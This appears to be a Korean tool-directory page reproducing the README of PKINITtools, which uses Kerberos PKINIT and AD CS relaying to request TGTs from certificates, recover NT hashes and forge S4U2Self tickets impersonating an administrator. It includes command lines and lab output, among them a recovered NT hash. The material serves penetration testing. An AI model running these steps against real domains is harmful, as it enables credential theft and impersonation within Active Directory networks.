Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PKINITtools — Kerberos PKINIT 및 AD CS 중계를 위한 도구 | Kitploit
도구/GitHubGitHub/dirkjanm/pkinittools
ExploitationLateral MovementPenetration TestingAuthenticationLateral Movement #18위
GitHubdirkjanm/pkinittools

PKINITtools

Kerberos PKINIT 및 AD CS 중계를 위한 도구

저장소 보기
922107291년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PKINIT 도구

이 저장소에는 PKINIT 및 인증서를 다루기 위한 몇 가지 유틸리티가 포함되어 있습니다.
도구는 minikerberos와 impacket을 기반으로 제작되었습니다. 더 많은 맥락을 제공하는 블로그 게시물: https://dirkjanm.io/ntlm-relaying-to-ad-certificate-services/

설치

이 도구들은 Python 3.5+에서만 호환됩니다. GitHub에서 저장소를 클론하고, 종속성을 설치하면 바로 사용할 수 있습니다:

git clone https://github.com/dirkjanm/PKINITtools
pip3 install impacket minikerberos

가상 환경(virtualenv) 사용을 권장합니다.

도구

gettgtpkinit.py

PFX 파일(파일, base64 인코딩 블롭 또는 인증서+키를 위한 PEM 파일)을 사용하여 TGT를 요청합니다. 이는 Kerberos PKINIT를 사용하며, 지정된 ccache에 TGT를 출력합니다. 또한 getnthash.py 도구에 필요할 수 있는 AS-REP 암호화 키를 출력합니다. 사용 예시:

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py -h
usage: gettgtpkinit.py [-h] [-cert-pfx file] [-pfx-pass password] [-pfx-base64 BASE64] [-cert-pem file] [-key-pem file] [-dc-ip DC_IP] [-v]
                       domain/username ccache

Requests a TGT using Kerberos PKINIT and either a PEM or PFX based certificate+key

positional arguments:
  domain/username     Domain and username in the cert
  ccache              ccache file to store the TGT in

optional arguments:
  -h, --help          show this help message and exit
  -cert-pfx file      PFX file
  -pfx-pass password  PFX file password
  -pfx-base64 BASE64  PFX file as base64 string
  -cert-pem file      Certificate in PEM format
  -key-pem file       Private key file in PEM format
  -dc-ip DC_IP        DC IP or hostname to use as KDC
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gettgtpkinit.py testsegment.local/s2019dc\$ -cert-pfx ~/impacket-py3/cert.pfx -pfx-pass hoi s2019dc.ccache
2021-07-27 21:25:24,299 minikerberos INFO     Loading certificate and key from file
2021-07-27 21:25:24,316 minikerberos INFO     Requesting TGT
2021-07-27 21:25:24,333 minikerberos INFO     AS-REP encryption key (you might need this later):
2021-07-27 21:25:24,333 minikerberos INFO     5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
2021-07-27 21:25:24,336 minikerberos INFO     Saved TGT to file

getnthash.py

Kerberos U2U를 사용하여 자신에 대한 TGS 요청을 제출합니다. 이 요청에는 PAC가 포함되며, PAC에는 자신의 특정 TGT에 사용된 AS-REP 키로 복호화할 수 있는 NT 해시가 포함되어 있습니다. 정말 마법 같죠. 이 도구는 PKINIT 결과로 얻은 TGT가 KRB5CCNAME 환경 변수에 있어야 합니다. 사용법:

(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py -h
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: getnthash.py [-h] -key KEY [-dc-ip ip address] [-debug] identity

positional arguments:
  identity           domain/username

optional arguments:
  -h, --help         show this help message and exit
  -key KEY           AS REP key from gettgtpkinit.py
  -dc-ip ip address  IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter
  -debug             Turn DEBUG output ON

(PKINITtools) user@localhost:~/PKINITtools$ export KRB5CCNAME=s2019dc.ccache
(PKINITtools) user@localhost:~/PKINITtools$ python getnthash.py testsegment.local/s2019dc\$ -key 5769dff44ebeaa5a37b4e9f7005f63063ffd7c198b747ae72021901e8063b0e3
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
fa6b130d73311d1be5495f589f9f4571

gets4uticket.py

Kerberos S4U2Self를 사용하여 인증서를 획득한 호스트에서 유효한 서비스 티켓을 요청합니다. 이 티켓은 원래 호스트와 상호 작용하는 데 사용할 수 있습니다. 이 작업에는 해당 호스트의 머신 계정에 대한 TGT만 필요합니다. 이 TGT는 kerberos_connection_url에 지정한 ccache 파일에 있어야 합니다. 이 예시에서 허용되는 kerberos_connection_url은 ccache 파일을 포함하는 형식, 예를 들어 kerberos+ccache://domain.local\\victimhostname\$:[email protected]입니다. SPN은 가장 중인 호스트의 서비스 이름이어야 하며, 이 기능을 위임 공격에 사용할 수 없습니다(S4U2Proxy를 구현하지 않으므로, 이를 위한 다른 도구가 이미 많이 있습니다). 사용법:

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py -h
usage: gets4uticket.py [-h] [-v] kerberos_connection_url spn targetuser ccache

Gets an S4U2self ticket impersonating given user

positional arguments:
  kerberos_connection_url
                        the kerberos target string in the following format kerberos+ccache://domain\user:file.ccache@<domaincontroller-ip>
  spn                   the service principal in format <service>/<server-hostname>@<domain> Example: cifs/[email protected] for a
                        TGS ticket to be used for file access on server "fileserver". IMPORTANT: SERVER'S HOSTNAME MUST BE USED, NOT IP!!!
  targetuser
  ccache                ccache file to store the TGT ticket in

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose

(PKINITtools) user@localhost:~/PKINITtools$ python gets4uticket.py kerberos+ccache://testsegment.local\\s2019dc\$:[email protected] cifs/[email protected] [email protected] out.ccache -v
2021-07-28 10:09:13,687 minikerberos INFO     Trying to get SPN with [email protected] for cifs/[email protected]
2021-07-28 10:09:13,695 minikerberos INFO     Success!
2021-07-28 10:09:13,696 minikerberos INFO     Done!

라이선스

MIT

크레딧

  • SkelSec - minikerberos 개발
  • Alberto Solino 및 SecureAuthCorp 팀 - impacket 개발
  • Mor Rubin - AzureADJoinedMachinePTC의 일부로 Python에서 최초의 PKINIT 구현
  • Benjamin Delpy - kekeo에서 이러한 기능 구현
도구 다운로드